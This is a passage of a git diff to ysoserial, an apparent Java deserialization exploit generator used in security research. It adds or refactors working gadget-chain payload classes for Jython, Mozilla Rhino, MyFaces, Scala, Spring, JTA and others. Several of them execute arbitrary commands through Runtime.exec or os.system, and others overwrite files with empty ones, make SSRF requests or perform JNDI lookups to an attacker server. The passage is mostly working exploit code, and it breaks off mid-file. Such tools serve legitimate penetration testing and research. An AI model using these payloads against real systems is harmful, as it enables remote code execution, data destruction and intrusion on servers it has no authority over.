+        InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as);
-                .getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as);
         InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt));
-        CompositeInvocationHandlerImpl invocationHandler = new CompositeInvocationHandlerImpl();
+        InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl");
-        invocationHandler.addInvocationHandler(CompositeData.class, cdsInvocationHandler);
+        ((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler);
-        invocationHandler.setDefaultHandler(delegateInvocationHandler);
+        Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler);
         final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces);
 
         JSONObject jo = new JSONObject();

src/main/java/ysoserial/payloads/JavassistWeld1.java

@@ -16,8 +16,11 @@ import org.jboss.weld.interceptor.spi.model.InterceptionModel;
 import org.jboss.weld.interceptor.spi.model.InterceptionType;
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
 
 import java.lang.reflect.Constructor;
 import java.util.*;
@@ -26,13 +29,17 @@ import java.util.*;
     by @matthias_kaiser
 */
 @SuppressWarnings({"rawtypes", "unchecked"})
+@PayloadTest(precondition = "isApplicableJavaVersion")
 @Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final",
-    "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
+    "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:1.2.2", // https://github.com/jakartaee/interceptors/issues/4
     "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
 @Authors({ Authors.MATTHIASKAISER })
-public class JavassistWeld1 extends ExtendedObjectPayload<Object> {
+public class JavassistWeld1 implements ObjectPayload<Object> {
+    public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isAtLeast(7);
+    }
 
-    public Object getObject(final String[] command) throws Exception {
+    public Object getObject(final String command) throws Exception {
 
         final Object gadget = Gadgets.createTemplatesImpl(command);
 
@@ -44,7 +51,7 @@ public class JavassistWeld1 extends ExtendedObjectPayload<Object> {
         s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
 
         Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
-        defaultMethodMetadataConstructor.setAccessible(true);
+        Reflections.setAccessible(defaultMethodMetadataConstructor);
         MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
                 MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
 

src/main/java/ysoserial/payloads/Jdk7u21.java

@@ -57,9 +57,9 @@ LinkedHashSet.readObject()
 @PayloadTest ( precondition = "isApplicableJavaVersion")
 @Dependencies()
 @Authors({ Authors.FROHOFF })
-public class Jdk7u21 extends ExtendedObjectPayload<Object> {
+public class Jdk7u21 implements ObjectPayload<Object> {
 
-	public Object getObject(final String[] command) throws Exception {
+	public Object getObject(final String command) throws Exception {
 		final Object templates = Gadgets.createTemplatesImpl(command);
 
 		String zeroHashCodeStr = "f5a5a608";

src/main/java/ysoserial/payloads/Jython1.java

@@ -39,7 +39,7 @@ import ysoserial.payloads.util.PayloadRunner;
  * exception information).
  */
 
-@PayloadTest(skip="non RCE")
+@PayloadTest(harness="ysoserial.test.payloads.PythonUploadExecTest")
 @SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
 @Dependencies({ "org.python:jython-standalone:2.5.2" })
 @Authors({ Authors.PWNTESTER, Authors.CSCHNEIDER4711 })

src/main/java/ysoserial/payloads/Jython2.java

@@ -0,0 +1,57 @@
+package ysoserial.payloads;
+
+import org.python.core.*;
+import java.math.BigInteger;
+import java.lang.reflect.Proxy;
+import java.util.Comparator;
+import java.util.PriorityQueue;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.util.Reflections;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.PayloadRunner;
+
+/**
+ * Credits: Alvaro Munoz (@pwntester), Christian Schneider (@cschneider4711),
+ * and Yorick Koster (@ykoster)
+ *
+ * This version of Jython2 executes a command through os.system().
+ * Based on Jython1 from @pwntester & @cschneider4711
+ */
+
+@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
+@Dependencies({ "org.python:jython-standalone:2.5.2" })
+@Authors({ Authors.PWNTESTER, Authors.CSCHNEIDER4711, Authors.YKOSTER })
+public class Jython2 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
+
+    public PriorityQueue getObject(String command) throws Exception {
+		String code =
+				"740000" + // 0 LOAD_GLOBAL              0 (eval)
+				"640100" + // 3 LOAD_CONST               1 ("__import__('os', globals(), locals(), ['system'], 0).system('<command>')")
+				"830100" + // 6 CALL_FUNCTION            1
+				"01" +     // 9 POP_TOP
+				"640000" + //10 LOAD_CONST               0 (None)
+				"53";      //13 RETURN_VALUE
+        PyObject[] consts = new PyObject[]{new PyString(""), new PyString("__import__('os', globals(), locals(), ['system'], 0).system('" + command.replace("'", "\\'") + "')")};
+        String[] names = new String[]{"eval"};
+
+        // Generating PyBytecode wrapper for our python bytecode
+        PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "<module>", 0, "");
+        Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
+
+        // Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method
+        PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);
+
+        // Prepare Trigger Gadget
+        Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
+        PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
+        Object[] queue = new Object[] {1,1};
+        Reflections.setFieldValue(priorityQueue, "queue", queue);
+        Reflections.setFieldValue(priorityQueue, "size", 2);
+
+        return priorityQueue;
+    }
+
+    public static void main(final String[] args) throws Exception {
+        PayloadRunner.run(Jython2.class, args);
+    }
+}

src/main/java/ysoserial/payloads/MozillaRhino1.java

@@ -8,6 +8,7 @@ import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
 import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
 
 import javax.management.BadAttributeValueExpException;
 import java.lang.reflect.Constructor;
@@ -21,13 +22,13 @@ import java.lang.reflect.Method;
 @PayloadTest( precondition = "isApplicableJavaVersion")
 @Dependencies({"rhino:js:1.7R2"})
 @Authors({ Authors.MATTHIASKAISER })
-public class MozillaRhino1 extends ExtendedObjectPayload<Object> {
+public class MozillaRhino1 implements ObjectPayload<Object> {
 
-    public Object getObject(final String[] command) throws Exception {
+    public Object getObject(final String command) throws Exception {
 
         Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
         Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
-        nativeErrorConstructor.setAccessible(true);
+        Reflections.setAccessible(nativeErrorConstructor);
         IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();
 
         Context context = Context.enter();
@@ -43,14 +44,14 @@ public class MozillaRhino1 extends ExtendedObjectPayload<Object> {
         idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false);
 
         Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
-        getSlot.setAccessible(true);
+        Reflections.setAccessible(getSlot);
         Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1);
         Field getter = slot.getClass().getDeclaredField("getter");
-        getter.setAccessible(true);
+        Reflections.setAccessible(getter);
 
         Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
         Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
-        memberboxClassConstructor.setAccessible(true);
+        Reflections.setAccessible(memberboxClassConstructor);
         Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
         getter.set(slot, memberboxes);
 
@@ -59,7 +60,7 @@ public class MozillaRhino1 extends ExtendedObjectPayload<Object> {
 
         BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
         Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
-        valField.setAccessible(true);
+        Reflections.setAccessible(valField);
         valField.set(badAttributeValueExpException, idScriptableObject);
 
         return badAttributeValueExpException;

src/main/java/ysoserial/payloads/MozillaRhino2.java

@@ -0,0 +1,109 @@
+package ysoserial.payloads;
+
+import org.mozilla.javascript.*;
+import org.mozilla.javascript.tools.shell.Environment;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import java.io.IOException;
+import java.io.ObjectOutputStream;
+import java.lang.reflect.Method;
+import java.util.Hashtable;
+import java.util.Map;
+
+/*
+
+    Works on rhino 1.6R6 and above & doesn't depend on BadAttributeValueExpException's readObject
+
+    Chain:
+
+    NativeJavaObject.readObject()
+      JavaAdapter.readAdapterObject()
+        ObjectInputStream.readObject()
+          ...
+            NativeJavaObject.readObject()
+              JavaAdapter.readAdapterObject()
+                JavaAdapter.getAdapterClass()
+                  JavaAdapter.getObjectFunctionNames()
+                    ScriptableObject.getProperty()
+                        ScriptableObject.get()
+                          ScriptableObject.getImpl()
+                            Method.invoke()
+                              Context.enter()
+        JavaAdapter.getAdapterClass()
+          JavaAdapter.getObjectFunctionNames()
+            ScriptableObject.getProperty()
+              NativeJavaArray.get()
+                NativeJavaObject.get()
+                  JavaMembers.get()
+                    Method.invoke()
+                      TemplatesImpl.getOutputProperties()
+                        ...
+
+    by @_tint0
+
+*/
+@SuppressWarnings({"rawtypes", "unchecked"})
+@Dependencies({"rhino:js:1.7R2"})
+@Authors({ Authors.TINT0 })
+public class MozillaRhino2 implements ObjectPayload<Object> {
+
+    public Object getObject( String command) throws Exception {
+        ScriptableObject dummyScope = new Environment();
+        Map<Object, Object> associatedValues = new Hashtable<Object, Object>();
+        associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
+        Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);
+
+        Object initContextMemberBox = Reflections.createWithConstructor(
+            Class.forName("org.mozilla.javascript.MemberBox"),
+            (Class<Object>)Class.forName("org.mozilla.javascript.MemberBox"),
+            new Class[] {Method.class},
+            new Object[] {Context.class.getMethod("enter")});
+
+        ScriptableObject initContextScriptableObject = new Environment();
+        Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
+        Reflections.setAccessible(makeSlot);
+        Object slot = makeSlot.invoke(initContextScriptableObject, "foo", 0, 4);
+        Reflections.setFieldValue(slot, "getter", initContextMemberBox);
+
+        NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
+        Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
+        Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true);
+        Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject",
+            this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
+        Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);
+
+        ScriptableObject scriptableObject = new Environment();
+        scriptableObject.setParentScope(initContextNativeJavaObject);
+        makeSlot.invoke(scriptableObject, "outputProperties", 0, 2);
+
+        NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
+        Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope);
+        Reflections.setFieldValue(nativeJavaArray, "javaObject", Gadgets.createTemplatesImpl(command));
+        nativeJavaArray.setPrototype(scriptableObject);
+        Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject);
+
+        NativeJavaObject nativeJavaObject = new NativeJavaObject();
+        Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope);
+        Reflections.setFieldValue(nativeJavaObject, "isAdapter", true);
+        Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
+            this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
+        Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);
+
+        return nativeJavaObject;
+    }
+
+    public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
+        out.writeObject("java.lang.Object");
+        out.writeObject(new String[0]);
+        out.writeObject(javaObject);
+    }
+
+    public static void main(final String[] args) throws Exception {
+        PayloadRunner.run(MozillaRhino2.class, args);
+    }
+
+}

src/main/java/ysoserial/payloads/Myfaces1.java

@@ -5,6 +5,7 @@ package ysoserial.payloads;
 import javax.el.ELContext;
 import javax.el.ExpressionFactory;
 import javax.el.ValueExpression;
+import javax.faces.context.FacesContext;
 import javax.servlet.ServletContext;
 import javax.servlet.ServletRequest;
 import javax.servlet.ServletResponse;
@@ -76,6 +77,7 @@ public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
     public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception  {
         FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
         ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
+
         Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
         ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
 
@@ -89,6 +91,7 @@ public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
 
 
     public static void main ( final String[] args ) throws Exception {
-        PayloadRunner.run(Myfaces1.class, args);
+        FacesContext.getCurrentInstance();
+        Object deserialized = PayloadRunner.run(Myfaces1.class, new String[] { "${\"\".getClass()}" });
     }
 }

src/main/java/ysoserial/payloads/Myfaces2.java

@@ -4,6 +4,7 @@ package ysoserial.payloads;
 
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
 
 
@@ -28,9 +29,12 @@ import ysoserial.payloads.util.PayloadRunner;
  *
  * @author mbechler
  */
-@PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" )
+@PayloadTest(harness="ysoserial.test.payloads.MyfacesTest", precondition = "isApplicableJavaVersion")
 @Authors({ Authors.MBECHLER })
 public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
+    public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isAtLeast(7);
+    }
 
     public static String[] getDependencies () {
         return Myfaces1.getDependencies();

src/main/java/ysoserial/payloads/Myfaces3.java

@@ -0,0 +1,92 @@
+package ysoserial.payloads;
+
+
+import org.apache.myfaces.context.servlet.FacesContextImpl;
+import org.apache.myfaces.context.servlet.FacesContextImplBase;
+import org.apache.myfaces.el.CompositeELResolver;
+import org.apache.myfaces.el.unified.FacesELContext;
+import org.apache.myfaces.view.facelets.el.DefaultFunctionMapper;
+import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import javax.el.BeanELResolver;
+import javax.el.ELContext;
+import javax.el.ExpressionFactory;
+import javax.el.ValueExpression;
+import javax.faces.context.FacesContext;
+import javax.servlet.ServletContext;
+import javax.servlet.ServletRequest;
+import javax.servlet.ServletResponse;
+
+
+/*
+Adding this for sentimental value as this is almost the same as the first deserialization exploit I ever crafted that
+led to the larger research project.
+ */
+@Authors({ Authors.MBECHLER, Authors.FROHOFF })
+@PayloadTest(harness = "ysoserial.test.payloads.MyFacesExecTest")
+public class Myfaces3 implements ObjectPayload<Object>, DynamicDependencies {
+
+    public Object getObject ( String command ) throws Exception {
+        return makeExpressionPayload(command);
+    }
+
+
+    public static String[] getDependencies () {
+        if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) {
+            return new String[] {
+                "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
+                "org.mortbay.jasper:apache-el:8.0.27",
+                "javax.servlet:javax.servlet-api:3.1.0",
+
+                // deps for mocking the FacesContext
+                "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
+            };
+        } else if ( "juel".equals(System.getProperty("el")) ) {
+            return new String[] {
+                "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
+                "de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7",
+                "javax.servlet:javax.servlet-api:3.1.0",
+
+                // deps for mocking the FacesContext
+                "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
+            };
+        }
+
+        throw new IllegalArgumentException("Invalid el type " + System.getProperty("el"));
+    }
+
+    public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception  {
+        FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
+
+        DefaultFunctionMapper fm = new DefaultFunctionMapper();
+        fm.addFunction("pwn","getRuntime", Runtime.class.getMethod("getRuntime", new Class[0]));
+
+        CompositeELResolver elResolver = new CompositeELResolver();
+        elResolver.add(new BeanELResolver());
+        FacesELContext elContext = new FacesELContext(elResolver, fc);
+        elContext.setFunctionMapper(fm);
+
+        Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
+        ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
+
+        ValueExpression ve1 = expressionFactory.createValueExpression(elContext,
+            "#{pwn:getRuntime().exec(\"" + Gadgets.escapeForJavaString(expr) + "\")}", Object.class);
+        ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);
+        ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class);
+        ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2);
+
+        Reflections.setFieldValue(e.getWrapped(), "fnMapper", fm);
+
+        return Gadgets.makeMap(e2, e);
+    }
+
+
+    public static void main ( final String[] args ) throws Exception {
+        PayloadRunner.run(Myfaces3.class, new String[] { "calc" });
+    }
+}

src/main/java/ysoserial/payloads/ObjectPayload.java

@@ -76,14 +76,14 @@ public interface ObjectPayload <T> {
 
 
         @SuppressWarnings ( "unchecked" )
-        public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
+        public static void postSerializeRelease(ObjectPayload payload, Object object ) throws Exception {
-            if ( payload instanceof ReleaseableObjectPayload ) {
+            if ( payload instanceof PostSerializeReleasable) {
-                ( (ReleaseableObjectPayload) payload ).release(object);
+                ((PostSerializeReleasable) payload).postSerializeRelease(object);
             }
         }
 
 
-        public static void releasePayload ( String payloadType, Object payloadObject ) {
+        public static void postSerializeRelease(String payloadType, Object payloadObject ) {
             final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
             if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
                 throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
@@ -92,12 +92,17 @@ public interface ObjectPayload <T> {
 
             try {
                 final ObjectPayload payload = payloadClass.newInstance();
-                releasePayload(payload, payloadObject);
+                postSerializeRelease(payload, payloadObject);
             }
             catch ( Exception e ) {
                 e.printStackTrace();
             }
+        }
 
+        public static void postDeserializeRelease(ObjectPayload payload, Object object ) throws Exception {
+            if ( payload instanceof PostDeserializeReleasable) {
+                ((PostDeserializeReleasable) payload).postDeserializeRelease(object);
+            }
         }
     }
 }

src/main/java/ysoserial/payloads/PostDeserializeReleasable.java

@@ -0,0 +1,6 @@
+package ysoserial.payloads;
+
+
+public interface PostDeserializeReleasable<T> extends ObjectPayload<T> {
+    void postDeserializeRelease(T obj) throws Exception;
+}

src/main/java/ysoserial/payloads/PostSerializeReleasable.java

@@ -0,0 +1,5 @@
+package ysoserial.payloads;
+
+public interface PostSerializeReleasable<T> extends ObjectPayload<T> {
+    void postSerializeRelease(T obj ) throws Exception;
+}

src/main/java/ysoserial/payloads/ROME.java

@@ -30,9 +30,9 @@ import ysoserial.payloads.util.PayloadRunner;
  */
 @Dependencies("rome:rome:1.0")
 @Authors({ Authors.MBECHLER })
-public class ROME extends ExtendedObjectPayload<Object> {
+public class ROME implements ObjectPayload<Object> {
 
-    public Object getObject ( String[] command ) throws Exception {
+    public Object getObject ( String command ) throws Exception {
         Object o = Gadgets.createTemplatesImpl(command);
         ObjectBean delegate = new ObjectBean(Templates.class, o);
         ObjectBean root  = new ObjectBean(ObjectBean.class, delegate);

src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java

@@ -1,11 +0,0 @@
-package ysoserial.payloads;
-
-
-/**
- * @author mbechler
- *
- */
-public interface ReleaseableObjectPayload<T> extends ObjectPayload<T> {
-
-    void release( T obj ) throws Exception;
-}

src/main/java/ysoserial/payloads/Scala.java

@@ -0,0 +1,110 @@
+package ysoserial.payloads;
+
+import scala.Function0;
+import scala.Function1;
+import scala.PartialFunction;
+import scala.math.Ordering$;
+import scala.sys.process.processInternal$;
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+import java.io.File;
+import java.net.URL;
+import java.util.Comparator;
+import java.util.PriorityQueue;
+
+/*
+    Two exploits using classes in the scala library.
+      * CreateZeroFile will create a file at the target path, or will replace the target path with a 0 byte file.
+        Could be useful as a DoS attack by replacing some app class/war?
+      * Ssrf will perform a GET request to the given URL.
+
+	Requires:
+		org.scala-lang:scala-library
+		The below hard-codes some anonymous inner class names so it is likely bound to the 2.12.6 release library.
+		Some slight variations will probably work with other versions.
+ */
+
+public class Scala {
+
+    private static PriorityQueue<Throwable> createExploit(Function0<Object> exploitFunction) throws Exception {
+        PartialFunction<Throwable, Object> onf = processInternal$.MODULE$.onInterrupt(exploitFunction);
+
+        Function1<Throwable, Object> f = new PartialFunction.OrElse(onf, onf);
+
+        // create queue with numbers and basic comparator
+        final PriorityQueue<Throwable> queue = new PriorityQueue<Throwable>(2, new Comparator<Throwable>() {
+            @Override
+            public int compare(Throwable o1, Throwable o2) {
+                return 0;
+            }
+        });
+
+        // stub data for replacement later
+        queue.add(new Exception());
+        queue.add(new Exception());
+        Reflections.setFieldValue(queue, "comparator", Ordering$.MODULE$.<Throwable, Object>by(f, null));
+
+        // switch contents of queue
+        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
+        queueArray[0] = new InterruptedException();
+        queueArray[1] = new InterruptedException();
+
+        return queue;
+    }
+
+    /*
+        Gadget chain:
+            ObjectInputStream.readObject()
+                PriorityQueue.readObject()
+                    scala.math.Ordering$$anon$5.compare()
+                        scala.PartialFunction$OrElse.apply()
+                            scala.sys.process.processInternal$$anonfun$onIOInterrupt$1.applyOrElse()
+                                scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3.apply()
+                                    java.io.FileOutputStream.<init>()
+     */
+    @PayloadTest(harness="ysoserial.test.payloads.EmptyFileWriteTest")
+    @Dependencies({"org.scala-lang:scala-library:2.12.6"})
+    @Authors({ Authors.JACKOFMOSTTRADES })
+    public static class ScalaCreateZeroFile extends PayloadRunner implements ObjectPayload<PriorityQueue<Throwable>> {
+        public PriorityQueue<Throwable> getObject(final String path) throws Exception {
+            Class<?> clazz = Class.forName("scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3");
+            Function0<Object> pbf = (Function0<Object>) Reflections.createWithoutConstructor(clazz);
+            Reflections.setFieldValue(pbf, "file$1", new File(path));
+            Reflections.setFieldValue(pbf, "append$1", false);
+
+            return createExploit(pbf);
+        }
+    }
+
+    /*
+       Gadget chain:
+           ObjectInputStream.readObject()
+               PriorityQueue.readObject()
+                   scala.math.Ordering$$anon$5.compare()
+                       scala.PartialFunction$OrElse.apply()
+                           scala.sys.process.processInternal$$anonfun$onIOInterrupt$1.applyOrElse()
+                               scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1.apply()
+                                   java.net.URL.openStream()
+    */
+    @PayloadTest(harness="ysoserial.test.payloads.SsrfTest")
+    @Dependencies({"org.scala-lang:scala-library:2.12.6"})
+    @Authors({ Authors.JACKOFMOSTTRADES })
+    public static class ScalaSsrf extends PayloadRunner implements ObjectPayload<PriorityQueue<Throwable>> {
+        public PriorityQueue<Throwable> getObject(final String url) throws Exception {
+            Class<?> clazz = Class.forName("scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1");
+            Function0<Object> pbf = (Function0<Object>)Reflections.createWithoutConstructor(clazz);
+            Reflections.setFieldValue(pbf, "url$1", new URL(url));
+
+            return createExploit(pbf);
+        }
+    }
+
+	public static void main(final String[] args) throws Exception {
+        //PayloadRunner.run(Scala.CreateZeroFile.class, new String[]{"/tmp/poc.txt"});
+        //PayloadRunner.run(Scala.Ssrf.class, new String[]{"http://localhost:7001/foo"});
+	}
+}

src/main/java/ysoserial/payloads/Spring1.java

@@ -51,9 +51,9 @@ import ysoserial.payloads.util.Reflections;
 @PayloadTest ( precondition = "isApplicableJavaVersion")
 @Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"})
 @Authors({ Authors.FROHOFF })
-public class Spring1 extends ExtendedObjectPayload<Object> {
+public class Spring1 extends PayloadRunner implements ObjectPayload<Object> {
 
-	public Object getObject(final String[] command) throws Exception {
+	public Object getObject(final String command) throws Exception {
 		final Object templates = Gadgets.createTemplatesImpl(command);
 
 		final ObjectFactory objectFactoryProxy =

src/main/java/ysoserial/payloads/Spring2.java

@@ -43,9 +43,9 @@ import ysoserial.payloads.util.Reflections;
     "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2"
 } )
 @Authors({ Authors.MBECHLER })
-public class Spring2 extends ExtendedObjectPayload<Object> {
+public class Spring2 extends PayloadRunner implements ObjectPayload<Object> {
 
-    public Object getObject ( final String[] command ) throws Exception {
+    public Object getObject ( final String command ) throws Exception {
         final Object templates = Gadgets.createTemplatesImpl(command);
 
         AdvisedSupport as = new AdvisedSupport();

src/main/java/ysoserial/payloads/SpringJta.java

@@ -0,0 +1,74 @@
+package ysoserial.payloads;
+
+import org.springframework.transaction.jta.JtaTransactionManager;
+
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.PayloadRunner;
+
+/**
+*
+* Gadget chain:
+* 	
+* 	org.springframework.transaction.jta.JtaTransactionManager.readObject()
+* 	org.springframework.transaction.jta.JtaTransactionManager.initUserTransactionAndTransactionManager()
+* 	org.springframework.transaction.jta.JtaTransactionManager.lookupUserTransaction()
+* 		org.springframework.jndi.JndiTemplate.lookup()
+* 			javax.naming.InitialContext.lookup()
+* 
+*
+* Arguments:
+* - (rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>
+*
+*
+* @author zerothoughts
+* 	payload added by sciccone
+* 
+* This gadget was discovered by zerothoughts:
+* https://github.com/zerothoughts/spring-jndi
+* 
+*/
+@PayloadTest(harness="ysoserial.test.payloads.JRMPReverseConnectTest")
+@Dependencies( { 
+	"org.springframework:spring-tx:5.1.7.RELEASE", 
+	"org.springframework:spring-context:5.1.7.RELEASE",
+	"javax.transaction:jta:1.1"
+	} )
+@Authors({ Authors.ZEROTHOUGHTS, Authors.SCICCONE })
+public class SpringJta implements ObjectPayload<Object>, DynamicDependencies {
+
+	@Override
+	public Object getObject(String command) throws Exception {
+		
+		// validate command
+        if ( !(command.startsWith("ldap://") || command.startsWith("rmi://")) ) 
+			throw new IllegalArgumentException("Command format is: "
+					+ "(rmi,ldap)://<attacker_server>[:<attacker_port>]/<classname>");
+        
+        // create object
+        JtaTransactionManager jta = new JtaTransactionManager();
+		jta.setUserTransactionName(command);
+		
+		return jta;
+	}
+
+	
+    public static void main ( final String[] args ) throws Exception {
+        PayloadRunner.run(SpringJta.class, args);
+    }
+    
+    
+    // add dependencies for testing 
+    public static String[] getDependencies () {
+        return new String[] {
+        	"org.springframework:spring-tx:5.1.7.RELEASE", 
+        	"org.springframework:spring-context:5.1.7.RELEASE",
+        	"org.springframework:spring-beans:5.1.7.RELEASE",
+        	"org.springframework:spring-core:5.1.7.RELEASE",
+        	"commons-logging:commons-logging:1.2",
+        	"javax.transaction:jta:1.1"
+        };
+
+    }
+}

src/main/java/ysoserial/payloads/Struts2JasperReports.java

@@ -0,0 +1,115 @@
+package ysoserial.payloads;
+
+import java.lang.reflect.Constructor;
+import java.util.HashMap;
+
+import org.apache.struts2.views.jasperreports.ValueStackShadowMap;
+
+import com.opensymphony.xwork2.ActionContext;
+import com.opensymphony.xwork2.TextProvider;
+import com.opensymphony.xwork2.config.Configuration;
